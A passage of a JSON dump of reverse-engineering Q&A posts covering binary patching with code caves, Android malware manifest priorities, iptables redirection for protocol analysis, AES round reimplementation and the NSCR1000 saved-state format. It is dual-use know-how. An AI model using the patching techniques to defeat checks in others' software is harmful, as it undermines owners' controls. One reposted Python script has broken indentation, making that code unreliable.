        "Answer": "<p>The easiest solution would likely be to patch the first block of the function to be the following:</p>\n\n<pre><code>push    rbx\nsub     rsp, 20h\nmov     rax, 85857490416\nmov     rbx, rcx\n</code></pre>\n\n<p>Though <code>mov rax, 85857490416</code> will consume extra bytes, you can remove <code>test rax, rax</code> and <code>jnz short loc_7FE8728D09D</code> to compensate.</p>\n\n<p>And if it still doesn't fit, then yes, a code-cave would likely be the next option.</p>\n"
    },
    {
        "Id": "9368",
        "CreationDate": "2015-07-16T16:21:30.970",
        "Body": "<p>Reversing some Android malware I see that it sets <code>android:priority</code> to 10000 in the AndroidManifest.xml file. Looking at the Android Documentation I see that it needs a value > <code>-1000</code> and &lt; <code>1000</code>.</p>\n\n<p>How does this work? Is <code>10000</code> a valid priority value? Are there legitimate applications that use that priority value?</p>\n",
        "Title": "Android priority values",
        "Tags": "|android|",
        "Answer": "<p>The <a href=\"http://developer.android.com/reference/android/content/IntentFilter.html\" rel=\"nofollow\">Android documentation</a> does, indeed, specify <code>SYSTEM_HIGH_PRIORITY = 1000</code> and <code>SYSTEM_LOW_PRIORITY = -1000</code>. Those are guidelines, though: the <a href=\"https://android.googlesource.com/platform/frameworks/base/+/master/core/java/android/content/IntentFilter.java\" rel=\"nofollow\">IntentFilter source code</a> doesn't actually check the priority. This means the actual range is from -2,147,483,648 to 2,147,483,647.\nBy using a very high value the malware can guarantee to run its receiver before any other. Since it doesn't follow the guidelines, it shouldn't be used in production/not malicious code. </p>\n"
    },
    {
        "Id": "9380",
        "CreationDate": "2015-07-17T03:42:02.847",
        "Body": "<p>I'm attempting to reverse engineer (without dissecting the source code, as my understanding is that reverse engineering by analyzing input and output and building something from scratch that fits is both far more legal and less monotonous/brain-dead than decompiling/de-obfuscating the program) a program that acts as client to a server, and one of the main systems I need to figure out is how they communicate (the exact meaning of each byte of data sent over the internet). The way I would like to go about doing this is by developing a program from scratch that attempts to imitate the client, but that acts as middle-man to both client and server so that I can easily see if the output my work-in-progress program would provide matches the actual client's output and how it differs.</p>\n\n<p>I'm not sure how to go about doing this, though. I think the site the client connects to is hard-coded into it; is there a way to make the client think that it is talking to the server, and the server to think that it is talking to the client, when in reality both are talking to my in-progress program? I would like for both my program and the client to be on the same (physical) system. I've been using a packet sniffer to monitor communication between the client and server, but it would be much simpler and convenient if I could have my program act as middle-man. </p>\n\n<p>I'm using a Lubuntu 15.04 system as my primary system currently, if that helps.</p>\n",
        "Title": "Putting an application in between client and server",
        "Tags": "|linux|networking|",
        "Answer": "<p>You may want to have a look at <a href=\"https://mitmproxy.org/\" rel=\"nofollow\">mitmproxy</a>. This allows you to intercept and modify http(s) traffic, which may or may not be what you need, but it also has tools like mitmdump that just dump what's going over the connection.</p>\n\n<p>Mitmproxy also has instructions about <a href=\"https://mitmproxy.org/doc/transparent/linux.html\" rel=\"nofollow\">setting up the linux tcp stack using iptables to redirect connections</a>. I guess this is the main part of what you're trying to achieve.</p>\n\n<p>In your setup, the easiest thing you could do is probably create a virtual machine using virtualbox, running the client within the machine, using iptables inside the machine to redirect server connections to your host, and run the proxy on the host. </p>\n\n<p>The advantage of using a virtual machine is that whatever you install/configure on your VM won't interfere with your host, where you may not want to mess with the network to reduce the risk of breaking other things, and you can create a snapshot and go back to it of you break something and don't remember what exactly you've done.</p>\n\n<p>Then, on the VM, do something like</p>\n\n<pre><code>iptables -t nat -A OUTPUT -p tcp --dport 1234 -j DNAT --to-destination 1.2.3.4:1234\n</code></pre>\n\n<p>to redirect all traffic from the client, <em>independent from target ip</em>, to the host (assuming the host is 1.2.3.4). The, on the host, write a program to listen on port 1234, dump all data, and pass through to real.server.ip:1234. This way, you don't have to mess with the IP configuration of the host.</p>\n\n<p>If you don't want to use a VM, you could also use</p>\n\n<pre><code>iptables -t nat -A OUTPUT -p tcp --dport 1234 -j DNAT --to-destination 127.0.0.1:1234\niptables -t nat -A OUTPUT -p tcp --dport 1235 -j DNAT --to-destination :1234\n</code></pre>\n\n<p>and have your program listen on port 1234, and connect to 1235 on the real server. The second iptables entry will redirect this to 1234 again, and use the IP the program requested, since you just used a port without an IP in the <code>--to-destination</code> argument. Your client (that uses port 1234) always gets redirected to localhost, and the proxy, that connects to 1235, will get redirected to 1234. Obviously, the order of iptables commands is important here.</p>\n\n<p>You can use the real server ip or name as well, of course:</p>\n\n<pre><code>iptables -t nat -A OUTPUT -p tcp --dport 1235 -j DNAT --to-destination 192.168.17.135:1234\niptables -t nat -A OUTPUT -p tcp --dport 1235 -j DNAT --to-destination real.server.name:1234\n</code></pre>\n\n<p>but note that <code>real.server.name</code> gets resolved the moment you start the iptables command, not when the packet gets sent. So, if your real.server.address changes later, for example if it's behind a dynamic IP, you'll have to remove the iptables entry and create a new one.</p>\n\n<p>And to minimize impact on your machine, where you might have an unrelated program connect to an unrelated server on port 1235, you might want to restrict changing the port to one particular server only:</p>\n\n<pre><code>iptables -t nat -A OUTPUT -p tcp --dest 192.168.17.135 --dport 1235 -j DNAT --to-destination 192.168.17.135:1234\n</code></pre>\n"
    },
    {
        "Id": "9382",
        "CreationDate": "2015-07-17T13:09:44.727",
        "Body": "<p>I'm trying a code-cave approach to <a href=\"https://reverseengineering.stackexchange.com/questions/9366/set-qword-with-a-constant-value-in-ida-pro\">this</a> query that was asked about on this forum earlier.</p>\n\n<p>I'm using <strong>x64_dbg</strong> to perform this task. My issue here is that after I have written the extra lines of assembly within the code-cave, using <code>Right-Click &gt; Patches</code> does not apply them.</p>\n\n<p>Does <strong>x64_dbg</strong> require an additional add-on to perform this kind of patching?\nHowever, the code changes inside the address space of the function patches just fine.</p>\n\n<p>Assembly code (Code-Cave)</p>\n\n<p><img src=\"https://i.stack.imgur.com/BoyXu.jpg\" alt=\"enter image description here\"></p>\n\n<p>Failed dialog box</p>\n\n<p><img src=\"https://i.stack.imgur.com/hBNWI.jpg\" alt=\"enter image description here\"></p>\n",
        "Title": "Code-Cave Assembly Patching Issue in x64_dbg",
        "Tags": "|ida|disassembly|x86-64|patching|machine-code|",
        "Answer": "<p><a href=\"http://x64dbg.com/\" rel=\"nofollow noreferrer\">x64_dbg</a> uses <a href=\"http://reversinglabs.com/open-source/titanengine.html\" rel=\"nofollow noreferrer\">TitanEngine</a>'s <code>ConvertVAtoFileOffsetEx()</code> function to apply the patches. That function validates that the virtual addresses of the bytes to be patched are within a section's memory space at run-time (based on the section's virtual address and the section's virtual size). Since the bytes you're patching are after the end of the section's virtual size, <code>ConvertVAtoFileOffsetEx()</code> returns <code>0</code> and the patches are never applied.</p>\n\n<p>As a workaround, I'd recommend patching the virtual size of the section to which you're appending those new bytes. Whatever the current virtual size is, make it <code>14</code> bytes bigger in the PE section's header.</p>\n\n<p>You can use a tool like <a href=\"http://www.ntcore.com/exsuite.php\" rel=\"nofollow noreferrer\">Explorer Suite</a> to make this change by navigating to the file's <em>Section Headers</em> and increasing the value in the target section's <em>Virtual Size</em> field:</p>\n\n<p><img src=\"https://i.stack.imgur.com/59oUX.jpg\" alt=\"Explorer Suite\"></p>\n"
    },
    {
        "Id": "9388",
        "CreationDate": "2015-07-18T04:15:03.843",
        "Body": "<p>I am trying to debug a linux application using remote debugging feature in ida pro. I use the remote linux debugger on windows after running the ida server on linux. My problem is that the file run normally in the linux environment since environment variables are accessible to the file. However, on using ida in windows the environment variables seems to be inaccessible and give error that I should define environment variables. </p>\n",
        "Title": "adding environment variable to ida pro",
        "Tags": "|ida|",
        "Answer": "<p>1) Run the linux program normally, then attach to the running process from IDA. Of course this won't work if you have to debug the application startup.</p>\n\n<p>2) Define (and export) the environment variables on Linux before you start <code>linux_server</code>. When you attach IDA to the running server, and start your program, the environment variables should get passed through to your program.</p>\n\n<p>Of course, defining any environment variables in windows won't alter the environent of your linux program.</p>\n"
    },
    {
        "Id": "9393",
        "CreationDate": "2015-07-18T21:18:36.563",
        "Body": "<p>I've got some windows dll file. This dll-file exports a couple of functions to read HDD with some unknown (to me) filesystem. So, I've launched IDA disassembler and started an investigation on how those disk operations are going.</p>\n\n<p>In short, there are two part:  Initialize and Act. Currently I'm on Initialize part of the code. And I'm stuck with this piece of code:</p>\n\n<pre><code>; at this point: \n;   edi = 0, \n;   ebp = some 32-bit value, lets call it an Argument, \n;   esi holds address of some buffer with size of 07b0h bytes\n.text:100014C9                 xor     ecx, ecx        \n.text:100014CB                 mov     eax, ebp\n.text:100014CD                 mov     edx, 14h\n.text:100014D2                 mul     edx             ; eax:edx = Argument * 14h\n.text:100014D4                 seto    cl              ; ecx = (eax != 0)\n.text:100014D7                 mov     [esi+14h], edi\n.text:100014DA                 neg     ecx             ; ecx = -1 = 0ffffffffh (eax != 0), ecx = 0 (eax == 0)\n.text:100014DC                 or      ecx, eax        ; eax = 0ffffffffh (OF set), eax = eax (OF not set)\n.text:100014DE                 push    ecx             ; size_t\n; jmp_to_operator_new holds just a command to \n; c++ (i assume) 'new' operator\n.text:100014DF                 call    jmp_to_operator_new\n.text:100014E4                 lea     ecx, [ebp+ebp*4+0]\n.text:100014E8                 add     ecx, ecx\n.text:100014EA                 add     ecx, ecx\n.text:100014EC                 push    ecx             ; size_t\n.text:100014ED                 push    edi             ; int\n.text:100014EE                 push    eax             ; void *\n.text:100014EF                 mov     [esi+14h], eax\n.text:100014F2                 call    _memset\n</code></pre>\n\n<p>So, as you may have noticed, I assume that that at <em>text:100014DE</em> point <em>ecx</em> can only hold either -1 (<em>0ffffffffh</em>) or zero as a value to pass to operator <em>new</em> (which doesn't do much than just call to <em>_malloc</em>). The result of memory allocation is then passed as destination buffer to <em>_memset</em>.</p>\n\n<p>Hence my question is here. Am I wrong about the value of <em>ecx</em> at <em>text:100014DE</em> point? Where am I wrong? What is correct value?</p>\n",
        "Title": "Some help with disassembled code understanding",
        "Tags": "|ida|disassembly|assembly|x86|dll|",
        "Answer": "<p>You are wrong with your interpretation.  As you see correctly, after 100014da ecx is either zero (no overflow in the mul statement) or 0xffffffff (overflow in mul, neg works with twos complement). After 100014dc however, ecx is either 0xffffffff (unchanged on overflow) or equals eax (no overflow), as in the intel notation the destination register is the left one. eax remains unchanged.</p>\n"
    },
    {
        "Id": "9410",
        "CreationDate": "2015-07-21T11:44:48.563",
        "Body": "<p>I know that red addresses means, that code do not recognize as a function in IDA, because that code never get called.\nBut I have found a piece of code that is marked red, but when debugging, I saw that this code gets called. But I still can't get that graph view of that piece of code and it still marked red.\nCan someone please explain what's happening here..?</p>\n",
        "Title": "Red addresses in IDA Pro",
        "Tags": "|ida|disassembly|static-analysis|control-flow-graph|",
        "Answer": "<p>To make IDA recognize the code as a procedure, press <kbd>P</kbd> at the start of it.</p>\n\n<p>Ida \"<em>automatically presses the <kbd>P</kbd> key</em>\" if it sees a direct call to that address. However, if the source code was C++ or another language with classes, the function might never be called directly, only indirectly through the vtable (table of method start addresses) of the class. In this case, you'll have to mark the procedure manually.</p>\n"
    },
    {
        "Id": "9413",
        "CreationDate": "2015-07-21T22:40:34.010",
        "Body": "<p>I am reverse engineering IR protocol of LG air conditioner. AC generally send the whole current state of remote on each key press. Data sent is 28 bits long, last 4 bits seem to be the checksum. I have already tried <code>reveng</code>, but without luck.</p>\n\n<p>Bits 14-16 are mode of operation (heat/cool/fan/auto). Bits 17-20 are temperature + 15 degrees, bits 22-24 are fan speed and bits 25-28 seem to be 4-bit checksum.</p>\n\n<p>Here are sample values:</p>\n\n<pre><code>100010000000100001000101 0001\n100010000000100001010101 0010\n100010000000100001100101 0011\n100010000000100010000100 0100\n100010000000100011000101 1001\n100010000000100011010101 1010\n100010000000100011110101 1100\n100010000000000011000101 0001\n100010001100000000000101 0001\n</code></pre>\n\n<p>In the last two, only the position of <code>11</code> changed, but checksum stayed the same. How is that checksum calculated?</p>\n",
        "Title": "Reverse engineer 4-bit CRC in LG IR packet",
        "Tags": "|binary-analysis|decryption|crc|",
        "Answer": "<p>This seems to be a checksum, just as you state in your question, not a CRC as mentioned in the header.</p>\n\n<p>Group the values into blocks of 4 bits, add them, ignore overflow (in these examples, ignore overflow means subtract 32):</p>\n\n<pre><code>1000 1000 0000 1000 0100 0101  0001 8+8+0+8+4+5=33  1\n1000 1000 0000 1000 0101 0101  0010 8+8+0+8+5+5=34  2\n1000 1000 0000 1000 0110 0101  0011 8+8+0+8+6+5=35  3\n1000 1000 0000 1000 1000 0100  0100 8+8+0+8+8+4=36  4\n1000 1000 0000 1000 1100 0101  1001 8+8+0+8+12+5=41 9\n1000 1000 0000 1000 1101 0101  1010 8+8+0+8+13+5=42 10\n1000 1000 0000 1000 1111 0101  1100 8+8+0+8+15+5=44 12\n1000 1000 0000 0000 1100 0101  0001 8+8+0+0+12+5=33 1\n1000 1000 1100 0000 0000 0101  0001 8+8+12+0+0+5=33 1\n</code></pre>\n"
    },
    {
        "Id": "9416",
        "CreationDate": "2015-07-22T06:49:58.237",
        "Body": "<p>I'm having troubles implementing the AESENC x86 instruction in python.</p>\n\n<p>I'm reverse engineering the decryption of a indie video game. They use AES but they xor some generated data around and the key expansion is not standard, so I need to use custom round keys. I'm nearly complete, but I'm stumped in that the game uses the AESENC x86 instruction, which performs a single round of AES. This seemed trivial to implement but I'm not getting the same results.</p>\n\n<p>To be more precise, when setting breakpoints and looking at memory</p>\n\n<pre><code>AESENC(E98E03FAEAD91A951F6269D0D4DAFAD6, C62E6AD8CC162D7E210D91A142F2927B) \n</code></pre>\n\n<p>returns:</p>\n\n<pre><code>AABCA9C13C842D3112C48E822B050CF8\n</code></pre>\n\n<p>While my python implementation returns:</p>\n\n<pre><code>aabca9c13b88ae173e2ea2680d02007b\n</code></pre>\n\n<p>This seems to be only matching the first 4 bytes. \nMy guess is that the mix_columns step is being done wrong, I've tried other implementations, but none seems to be matching the x86 instruction. I'm using the implementation found in the book <a href=\"https://books.google.com/books?id=fNaoCAAAQBAJ&amp;lpg=PA1&amp;ots=7hJNyHRmob&amp;dq=The%20Design%20of%20Rijndael&amp;lr&amp;pg=PA54#v=onepage&amp;q&amp;f=false\" rel=\"nofollow\">The Design of Rijndael Section 4.1.2</a></p>\n\n<p>The only documentation I found on AESENC was <a href=\"http://www.felixcloutier.com/x86/AESENC.html\" rel=\"nofollow\">here</a>, which unfortunately doesn't go into details on how the functions are implemented. If anyone know where I can get implementation specifics on the AESENC please do :)</p>\n\n<p>Here's my full python implementation of AESENC so far:\n</p>\n\n<pre><code>SBOX = (\n    0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,\n    0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,\n    0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,\n    0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,\n    0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,\n    0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,\n    0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,\n    0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,\n    0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,\n    0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,\n    0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,\n    0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,\n    0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,\n    0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,\n    0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,\n    0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16,\n)\n\ndef list2hex(list):\n    hex = \"\"\n    for e in list:\n        hex += \"{:02x}\".format(e)\n    return hex\n\ndef hex2list(hex):\n    lst = []\n    if len(hex) % 2 == 0:\n        for i in range(len(hex)/2):\n            lst.append(int(hex[i*2:i*2+2], 16))\n    return lst\n\ndef xor(bytelist1, bytelist2):\n    res = []\n    length = min(len(bytelist1), len(bytelist2))\n    for i in range(length):\n        res.append(bytelist1[i] ^ bytelist2[i])\n    return res\n\ndef aesenc(state, roundkey, last=False):\n    def shift_rows(state):\n        state[4], state[5], state[6], state[7] = state[5], state[6], state[7], state[4]\n        state[8], state[9], state[10], state[11] = state[10], state[11], state[8], state[9]\n        state[12], state[13], state[14], state[15] = state[15], state[12], state[13], state[14]\n\n    def sub_bytes(state):\n        for i in range(16):\n            state[i] = SBOX[state[i]]\n\n    def mix_columns(state):\n        xtime = lambda a: (((a &lt;&lt; 1) ^ 0x1B) &amp; 0xFF) if (a &amp; 0x80) else (a &lt;&lt; 1)\n\n        def mix_column(col):\n            t = col[0] ^ col[1] ^ col[2] ^ col[3]\n            u = col[0]\n            col[0] ^= t ^ xtime(col[0] ^ col[1])\n            col[1] ^= t ^ xtime(col[1] ^ col[2])\n            col[2] ^= t ^ xtime(col[2] ^ col[3])\n            col[3] ^= t ^ xtime(col[3] ^ u)\n            return _col\n\n        return mix_column(state[0::4]) + \\\n                mix_column(state[1::4]) + \\\n                mix_column(state[2::4]) + \\\n                mix_column(state[3::4])\n\n    sub_bytes(state)\n    shift_rows(state)\n    if not last:\n        state = mix_columns(state)\n    return xor(state, roundkey)\n\ndata = hex2list(\"E98E03FAEAD91A951F6269D0D4DAFAD6\")\nkey = hex2list(\"C62E6AD8CC162D7E210D91A142F2927B\")\n\nres = aesenc(data, key)\nprint list2hex(res)\n</code></pre>\n",
        "Title": "Reimplementing the x86 AESENC instruction in python",
        "Tags": "|assembly|x86|python|encryption|",
        "Answer": "<p>Three problems:</p>\n\n<ol>\n<li><code>mix_column</code> returns <code>_col</code> (typo underscore?)</li>\n<li>The return value of <code>mix_columns</code> just concatenates the columns together like rows instead of slotting them back into columns - effectively transposing the result.</li>\n<li><p><code>AESENC</code> takes its parameters and returns its results as columns concatenated together. Your <code>aesenc</code> takes the parameters and returns the results as rows concatenated together:</p>\n\n<pre><code>AESENC(E98E03FAEAD91A951F6269D0D4DAFAD6, C62E6AD8CC162D7E210D91A142F2927B)\n       data = E9 EA 1F D4                key = C6 CC 21 42\n              8E D9 62 DA                      2E 16 0D F2\n              03 1A 69 FA                      6A 2D 91 92\n              FA 95 D0 D6                      D8 7E A1 7B\n</code></pre></li>\n</ol>\n\n<p>This is the script adjusted so that it emits the same values as the <code>AESENC</code> instruction:</p>\n\n<pre><code>SBOX = (\n    0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,\n    0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,\n    0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,\n    0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,\n    0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,\n    0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,\n    0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,\n    0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,\n    0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,\n    0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,\n    0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,\n    0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,\n    0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,\n    0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,\n    0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,\n    0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16,\n)\n\ndef transpose4x4(m):\n    return m[0::4] + m[1::4] + m[2::4] + m[3::4]\n\ndef list2hex(list):\n    hex = \"\"\n    for e in list:\n        hex += \"{:02x}\".format(e)\n    return hex\n\ndef hex2list(hex):\n    lst = []\n    if len(hex) % 2 == 0:\n    for i in range(len(hex)/2):\n        lst.append(int(hex[i*2:i*2+2], 16))\n    return lst\n\ndef xor(bytelist1, bytelist2):\n    res = []\n    length = min(len(bytelist1), len(bytelist2))\n    for i in range(length):\n        res.append(bytelist1[i] ^ bytelist2[i])\n    return res\n\ndef aesenc(state, roundkey, last=False):\n    def shift_rows(state):\n        state[4], state[5], state[6], state[7] = state[5], state[6], state[7], state[4]\n        state[8], state[9], state[10], state[11] = state[10], state[11], state[8], state[9]\n        state[12], state[13], state[14], state[15] = state[15], state[12], state[13], state[14]\n\n    def sub_bytes(state):\n        for i in range(16):\n            state[i] = SBOX[state[i]]\n\n    def mix_columns(state):\n        xtime = lambda a: (((a &lt;&lt; 1) ^ 0x1B) &amp; 0xFF) if (a &amp; 0x80) else (a &lt;&lt; 1)\n\n        def mix_column(col):\n            t = col[0] ^ col[1] ^ col[2] ^ col[3]\n            u = col[0]\n            col[0] ^= t ^ xtime(col[0] ^ col[1])\n            col[1] ^= t ^ xtime(col[1] ^ col[2])\n            col[2] ^= t ^ xtime(col[2] ^ col[3])\n            col[3] ^= t ^ xtime(col[3] ^ u)\n            return col\n\n        out = [None]*16\n        for i in range(0,4):\n          out[i::4] = mix_column(state[i::4])\n        return out\n\n    sub_bytes(state)\n    shift_rows(state)\n    if not last:\n        state = mix_columns(state)\n    return xor(state, roundkey)\n\ndata = transpose4x4(hex2list(\"E98E03FAEAD91A951F6269D0D4DAFAD6\"))\nkey = transpose4x4(hex2list(\"C62E6AD8CC162D7E210D91A142F2927B\"))\n\nres = transpose4x4(aesenc(data, key))\nprint list2hex(res)\n</code></pre>\n"
    },
    {
        "Id": "9424",
        "CreationDate": "2015-07-23T05:56:05.917",
        "Body": "<p>I want to make this decompiled function look nicer but don't know how ?\nCan you please help me by telling steps to do the structure in ida?</p>\n\n<p>This is a dot product function. I want to change type of <code>__int64 a2@&lt;rsi&gt;, __int64 a3@&lt;rdx&gt;</code> to look more familiar.</p>\n\n<pre><code>void \n__usercall dot_prod(signed int a1@&lt;edi&gt;, __int64 a2@&lt;rsi&gt;, __int64 a3@&lt;rdx&gt;,\n                    __int128 _XMM0@&lt;xmm0&gt;, __int128 _XMM1@&lt;xmm1&gt;) \n{   \n  __int64 v5; // rax@2   double v6; // xmm0_8@2\n\n  if ( a1 &gt; 0 )   \n    {\n      v5 = 0LL;\n      v6 = 0.0;\n\n      do\n      {\n        v6 = v6 + *(double *)(a2 + 8 * v5) * *(double *)(a3 + 8 * v5);\n        ++v5;\n      } while ( a1 &gt; (signed int)v5 );   \n   } \n}\n</code></pre>\n",
        "Title": "Simple type casting",
        "Tags": "|ida|",
        "Answer": "<p>Place cursor on a name of variable (in decompiled code window, you arrive there by using TAB in assembly window), press N. This will allow you to rename the entity your cursor stays on, including functions, variables, etc.\nPlace cursor on a name of variable, press Y. This will allow you to change its type.</p>\n\n<p>Regarding a2 and a3 in your specific example they look like arrays of doubles, \nso their type should be double*.</p>\n\n<p>I expect that the result of the line will be something like </p>\n\n<pre><code>v6 = v6 + a2[v5]*a3[v5];\n</code></pre>\n"
    },
    {
        "Id": "9426",
        "CreationDate": "2015-07-23T15:51:57.913",
        "Body": "<p>Terminal app on OSX stores the information about its windows and content in its state files in <code>Library/Saved Application State/com.apple.Terminal.savedState</code>.</p>\n\n<p>I did the backup of the file before the crash to be able to restore my data, but I don't know how to read it now (as Terminal refuses to use it). It starts with: <code>NSCR1000</code> as below:</p>\n\n<pre><code>$ hexdump -Cn8 ~/Library/Saved\\ Application\\ State/com.apple.Terminal.savedState/data.data\n00000000  4e 53 43 52 31 30 30 30                           |NSCR1000|\n</code></pre>\n\n<p>It's used by <code>windows.plist</code> file which can be decoded by:</p>\n\n<pre><code>plutil -convert xml1 -o windows.plist windows.plist\n</code></pre>\n\n<p>What kind of method I can use to read that <code>.data</code> file? Or where do I start?</p>\n\n<pre><code>$ strings data.data | head -10\nNSCR1000\np+5v\n0&gt;[t\nkJX6X\n@NSCR1000\n</code></pre>\n\n<p>This file is automatically generated by Terminal app when you start and start typing something, so the terminal data is stored there.</p>\n",
        "Title": "How to read NSCR1000 data files?",
        "Tags": "|file-format|osx|binary-format|",
        "Answer": "<p>It is encrypted with AES so you will need the keys from <code>windows.plist</code> to decode.</p>\n\n<p>The format is (all stored in big-endian):</p>\n\n<pre><code>offset  value\n0-3     magic ('NSCR' for PersistentUIRecord)\n4-7     version (either '1000' or '0006')\n8-11    NSWindowID (used to lookup 128-bit AES key stored in windows.plist)\n12-15   record length (including from 0 to xxx)\n16-xxx  encrypted binary plist data\n</code></pre>\n\n<p>There may be multiple records stored in a file consecutively.</p>\n\n<p>Similar approach AppKit framework is using to decipher the <code>data.data</code> file. The most relevant code base to look at is the <code>+[NSPersistentUIRecord parseOneRecordFromReadBlock:withDecryptionKeys:]</code> block which parses each record in the <code>data.data</code> file.</p>\n"
    },
    {
        "Id": "9435",
        "CreationDate": "2015-07-24T13:52:05.917",
        "Body": "<p>So I'm disassembling the Winnov.Amalga.Core.Session.Common.dll, and trying to figure out how the WriteScriptCommand works.</p>\n\n<p>I'm absolutely new to .NET, so go easy on me, please.\nYou can find the dll yourself here: <a href=\"ftp://winnov.com/public/Costa/Amalga/Amalga_Developer_Kit_V1.zip\" rel=\"nofollow\">Link</a> under the Binary folder.</p>\n\n<p>Below is pretty much the only reference I found. EDIT: From searching through the decompiled dll.</p>\n\n<pre><code>using System;\nnamespace winnov.Amalga.core\n{\n  public interface ISession\n  {\n     string Configuration { get; set; }\n     SessionState { get; }\n     TimeSpan Duration { get; }\n     string ArchiveBasePath { get; set; }\n     string ArchivePath { get; }\n     void Start();\n     void Stop();\n     void ApplyPreset(string presetxml);\n     void writeScriptCommand(string name, string value);\n   }\n}\n</code></pre>\n",
        "Title": "How can I find the implementation/source code of an interface in .NET?",
        "Tags": "|decompilation|dll|.net|",
        "Answer": "<p>If you look at the decompiled code for the <code>Winnov.Amalga.Core.Client</code> constructor, you'll see that <code>this._Session</code> is a web service interface to whatever web service was used when constructing <code>Winnov.Amalga.Core.Client</code>. Thus, <code>Session.WriteScriptCommand()</code> is a server-side function and its code is not in <code>Winnov.Amalga.Core.Session.Common.dll</code>.</p>\n"
    },
    {
        "Id": "9439",
        "CreationDate": "2015-07-24T22:23:50.490",
